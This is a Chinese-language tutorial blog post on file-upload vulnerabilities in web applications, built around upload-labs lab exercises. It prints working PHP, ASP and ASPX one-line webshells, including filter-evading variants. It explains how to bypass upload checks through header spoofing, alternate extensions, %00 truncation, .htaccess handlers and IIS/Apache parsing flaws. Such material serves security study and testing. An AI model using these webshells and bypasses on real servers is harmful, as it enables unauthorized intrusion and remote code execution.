文件上传漏洞

文件上传漏洞

1. 前言

https://blog.csdn.net/weixin_45798017/article/details/105243611

大小马

检测:文件类型 / 文件大小 / 文件内容

常见的一句话木马:

1
2
3
<?php @eval($_POST['shell']);?>
// @符号,其实这个东西对我们来说可有可无,这个符号的作用是抵制错误提示。
// $_POST["shell"],则是从post请求中寻找shell参数,将shell参数的值,作为命令语句执行。
1
2
3
4
5
6
7
// 为什么要抵制错误提示呢?这里先要了解eval()函数的功能。eval将接收一个字符串参数,并将这个字符串作为命令语句执行。
<?php
echo "hello";
eval('echo "hello"');
?>
//这两句的功能是相同的,因为eval接收的是个字符串,那这个字符串就有可能不是正确的命令。这样一来直接执行就会报错,为了不显示报错信息,前面加上了@符号。
//@一般是创建网站的人才会使用,旨在不让用户从报错信息中获得服务器的相关信息。而我们对一句话进行利用时,有时还是需要报错信息来告诉我们,哪里输错了。

2. 前端检测

前端一般都是使用js来限制我们的上传类型和文件大小,这里以upload-labs Pass-01的源码为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

对于前端的检测我们可以抓包来修改文件类型,也可以禁用掉JavaScript。总之,只有前端的限制是非常不安全的,非常容易被绕过。

3. 后端检测

3.1 检测Content-type

1
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) ) {

绕过方法:

抓包将content-type改为图片形式(即’image/jpeg’等),即可成功上传

3.2 检测文件头判断文件类型

此时虽然检查的也是文件类型,但是是使用getimagesize()函数来获取文件的MIME类型,此时检测的不是数据包中的content-type,而是图片的文件头,常见的图片文件头如下:

1
2
3
4
8950 4E47       png文件标识
FFD8 FFE0 jpg文件标识
FFD8 FFE1 jpeg文件标识(也是图片)
4749 4638 gif文件标识

绕过方法:

当上传php文件时,可以使用winhex010editor等十六进制处理工具,在数据最前面添加图片的文件头,从而绕过检测。

或者,在文件最后添加jpg的标识,例如:shell.php.jpg(但是这种方法可能导致文件无法正常执行,这个也是低版本apache扩展名解析特性,下面也有讲到)

3.3 检测文件扩展名

3.3.1 黑名单检测

1
'php', 'asp', 'aspx', 'jsp',' jspx', 'jspf', 'asa', 'cer',
1
2
3
4
5
php的一句话木马: <?php @eval($_POST['shell']);?>

asp的一句话是: <%eval request ("pass")%>

aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

但是使用黑名单是非常不安全的,很多网站会使用扩展名黑名单来限制上传文件类型,有些甚至在判断时都不用strtolower()来处理,因此造成漏洞

绕过方法:

  1. 使用一些特殊扩展名来绕过(如php可以使用php3、php4、php5、php7、 phtml、phps、pht等来代替)
  2. 在后端比较没有转换大小写处理时,使用大小写混淆(如将php改为pHp等)来绕过

3.3.2 白名单检测

白名单相对与黑名单就安全许多,要求只能是特定扩展名的文件才能上传,虽然我们无法从代码层面来绕过,但这样也不是绝对的安全,可以利用其他漏洞来绕过;

绕过方法:

  1. 使用%00截断文件名来上传(后面会讲)
  2. 如果目标还存在文件包含漏洞,那么就可以上传图片马再文件包含来拿shell

3.4 检测文件内容

3.4.1 文件内容替换

这种主要是将文件中的敏感字符替换掉,具体问题具体分析。

绕过方法:

1
2
3
4
5
6
//一句话木马
<?php @eval($_POST['shell']);?>

<script language='php'>eval($_POST['shell']);</script>

<script language='php'>assert($_REQUEST['shell'])</script>

3.4.2 图片二次渲染

后端调用了php的GD库,提取了文件中的图片数据,然后再重新渲染,这样图片中插入的恶意代码就会被过滤掉了。

在测试时发现不管是直接修改文件头来制作的图片马,还是利用copy命令制作的图片马,都无法避免其中的一句话被过滤掉。

而看了一篇文章发现其实要把一句话插入到图片数据中,这样经过渲染后这部分数据还是会保留下来。大家可以看一下作为参考:https://secgeek.net/bookfresh-vulnerability/

4. 解析漏洞

4.1 IIS解析漏洞

IIS6.0

在IIS6.0中有两个很重要的asp解析漏洞:

  1. 假设当前有一个名为”xxx.asp”的目录,那么该目录下的所有文件都将被作为asp文件解析
  2. 假设上传一个名为”test.asp;xxx.jpg”时,该文件会被当做asp文件解析

IIS7.5

这个其实不能算IIS的洞,它其实是php的解析漏洞,这个漏洞利用条件是服务器在php.ini中将cgi.fix_pathinfo的值设置为1

然后当我们访问服务器上任意一个文件时(如:http://test.com/a.jpg),当我们在URL后面添加`.php`(即:http://test.com/a.jpg/.php),那么文件a.jpg就将被作为php文件来解析

4.2 Apache解析漏洞

利用低版本apache扩展名解析特性

在了解这个解析漏洞之前,我们要首先了解apache和php的三种结合方式:

Apache和php三种结合方式:

1.CGI

2.Module

3.FastCGI

该解析漏洞只有在apache和php以Module方式结合时才存在,而且Apache还有一个特性:

Apache在解析文件时会以文件名从右向左解析,当最后一个扩展名无法识别时,就会向左查看是否有可以识别的文件名,如果没有的话就以配置中的默认文件类型来解析

例如:

a.php.xxx因为xxx无法识别,而左边的php可识别,就会被解析为php文件

因此,如果上传文件名为a.php.xxx的一句话,访问后就很可能拿到shell

CVE-2017-15715

还有一个apache的解析漏洞就是CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤

具体的漏洞分析可以看p牛:https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

4.3 %00截断

这个多数被利用在截断路径,利用的条件是:

PHP < 5.3.4

magic_quotes_gpc 关闭

因为0x00是字符串的结束标志符,所以php在读取到0x00时就不会再往后读取,我们可以利用这些截断字符后面不需要的内容。

以upload-labs的Pass-12为例,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

由于是白名单限制了上传文件类型,因此我们无法在文件名处做文章。但最终move_uploaded_file()的目标目录是我们可控的,我们可以将POST传入的save_path改为../upload/shell.php%00,这样后面的内容就会被截断掉,这就导致了任意文件上传。

还要注意的是%00是url编码,在以POST传参时应该使用burpsuite对其进行url decode,或者修改hex值为00;而当GET传参时因为浏览器会做一遍url decode,所以直接传%00即可。

4.5 .htaccess解析

.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

利用.htaccess的条件:Apache中配置AllowOverride All

打开apache的http.conf文件找到的AllowOverride None,将其改为AllowOverride All

.htaccess文件可以配置将特定的文件按规定的文件类型进行解析,可以用以下两种方式来配置:

1
2
3
<FilesMatch "test">
SetHandler application/x-httpd-php
</FilesMatch>

这一种采用正则匹配,只要文件名为test的文件都将被作为php文件解析

1
AddType application/x-httpd-php .jpg

第二种是将.jpg文件都作为php文件解析

这样我们如果能将.htaccess上传到服务器的话,就可以再根据我们自己设定的规则来解析上传的文件,以此来绕过上传过滤。

5. 总结

常见的文件上传的检测和绕过方式基本是以上几种。在实战或CTF比赛中往往是几种类型的结合,因此绕过也需要几种方式的结合。

首先我认为最重要的是前期的信息收集,服务器的类型、版本,使用的脚本语言、版本,只要做到对这些很清楚后才能考虑之后能否利用一些如%00截断、服务器解析漏洞来进行文件上传。

在测试时,一般我们都先要fuzz看一下检测是哪种类型,是前端还是后端?黑名单还是白名单?上传后的shell能否被成功执行?是否有文件内容的检测?

如果是黑名单的话,就要尝试各种特殊文件名(php、Php、PHP、pht、php5、phtml),或者在扩展名后添加空格、::$DATA、.等字符,再或者是尝试上传.htaccess

如果是白名单,就要看是否可以使用%00截断,或者利用服务器的解析漏洞。如果真的过滤很死的话,不妨再找一下目标的文件包含漏洞,尝试利用文件包含来解析图片马。

个人认为现在文件上传在代码层除了逻辑问题外已经很少有漏洞了,大多数情况下都是利用服务器解析漏洞等来getshell。

参考:https://www.hulingweb.cn/hulianwang/1003.html

https://www.cnblogs.com/loopkep/p/12101247.html

https://blog.csdn.net/broing55/article/details/104720711

https://blog.csdn.net/qq_41500251/article/details/100177972